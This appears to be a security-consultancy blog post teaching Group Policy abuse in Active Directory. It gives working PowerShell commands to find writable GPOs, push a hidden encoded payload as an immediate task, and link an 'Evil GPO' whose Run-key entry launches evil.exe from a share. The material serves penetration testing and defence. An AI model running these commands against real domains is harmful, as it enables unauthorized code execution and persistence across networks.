Group Policy Objects (GPOs) are a powerful tool administrators use to manage and enforce security policies across a domain. However, in the wrong hands, GPOs can become a potent weapon for attackers. In this blog, we will explore the concept of GPO abuse and how it can be harnessed to gain unauthorized access and control over a network.
Group Policy Objects are a collection of settings that can be applied to groups of computers or users within a Windows domain. These settings can govern various configurations, including security policies, software installation, and network drive mappings. GPOs are stored on a domain controller and are applied to targeted objects during the login process.
GPO updates ensure policy changes are effectively applied across the network. Using PowerShell, administrators can force a GPO update on all domain computers simultaneously. The following command achieves this:
PS > Get-ADComputer -Filter * | % {Invoke-GPUpdate -Computer $_.name -Force -RandomDelayInMinutes 0}
To gain an overview of all the GPOs present in a domain, administrators can employ the following PowerShell command:
PS > .\SharpView.exe Get-DomainGPO -Properties displayName
To identify the GPOs applied to a particular domain user or computer, the following commands can be used:
PS > .\SharpView.exe Get-DomainGPO -UserIdentity redfox -Properties DisplayName
PS > .\SharpView.exe Get-DomainGPO -ComputerIdentity WS01 -Properties DisplayName
Alternatively, the gpresult command can be utilized:
Cmd > gpresult /r /user redfox [/h gpos-redfox.html]
Cmd > gpresult /r /s WS01 [/h gpos-ws01.html]
A crucial aspect of GPO abuse is identifying writable GPOs that can be manipulated to grant unauthorized access. The following PowerShell command accomplishes this:
PS > Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq ((Get-DomainGroup "Domain Users" | select objectSid).objectSid)}
To locate GPOs controlled by a specific group, such as “FOX\PolicyAdmins,” the following command can be used:
PS > Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "FOX\PolicyAdmins"}
Identifying computers affected by vulnerable (modifiable) GPOs is essential for assessing potential security risks. The following command achieves this:
PS > Get-NetOU -GUID "00ff00ff-00ff-00ff-00ff-00ff00ff00ff" | % {Get-NetComputer -ADsPath $_}
Checking and Enabling Computer Settings for a GPO
To ensure that computer settings are enabled for a specific GPO, administrators can use the following PowerShell commands:
PS > Get-Gpo VULN.GPO.NAME
PS > Set-GpoStatus VULN.GPO.NAME -Status AllSettingsEnabled
To identify users who can create and link GPOs to a particular Organizational Unit (OU), administrators can utilize the following PowerShell commands:
PS > Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=fox,DC=local" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -match "CreateChild" } | select objectDN,securityIdentifier | fl PS > Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select objectDN,securityIdentifier | fl
Creating a Task with a PowerShell Payload
Attackers often create malicious tasks to execute payloads on compromised systems. To create a task with a PowerShell payload, the following commands can be employed:
$ echo 'sc -path "c:\\\windows\\\temp\\\poc.txt" -value "GPO Abuse PoC..."' | iconv -t UTF-16LE | base64 -w0; echocwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIACgA= PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName VULN.GPO.NAME -CommandArguments '-NoP -NonI -W Hidden -Enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIACgA=' -Force
To determine when a Group Policy was last applied, administrators can use the following command:
Cmd > wmic.exe /namespace:\\root\rsop\computer path RSOP_Session where "name='planning'" call GetSecurityGroupResult
If the Group Policy Management Console (GPMC) is not installed, administrators can use the following command to install it as a Windows feature:
PS > Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
PS > Install-WindowsFeature –Name GPMC
An attacker can create an evil GPO and link it to a target Organizational Unit (OU) for malicious purposes. The following PowerShell commands achieve this:
PS > New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=fox,DC=local"
Attackers often search for writable network shares to store their malicious payloads. The following PowerShell command assists in locating such shares:
PS > Find-DomainShare -CheckShareAccess
Once a writable network share is identified, an attacker can place their payload on the share and create an autorun value in the evil GPO to execute the payload during system boot or user logon. The following PowerShell command accomplishes this:
PS > Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min /c \\\srv01\SoftwareShare\evil.exe" -Type ExpandString
Group Policy Objects are a double-edged sword in the realm of cybersecurity. While they are crucial for maintaining security and control, they can also be exploited by attackers to gain unauthorized access. By understanding the techniques employed in GPO abuse, administrators can better protect their networks and thwart potential threats. Stay vigilant, keep your GPOs secure, and maintain a proactive approach to cybersecurity.
Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. If you are looking to improve your organization’s security posture, contact us today to discuss your security testing needs. Our team of security professionals can help you identify vulnerabilities and weaknesses in your systems, and provide recommendations to remediate them.
“Join us on our journey of growth and development by signing up for our comprehensive courses.“
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
info@redfoxsec.com
©️2024 Redfox Cyber Security Inc. All rights reserved.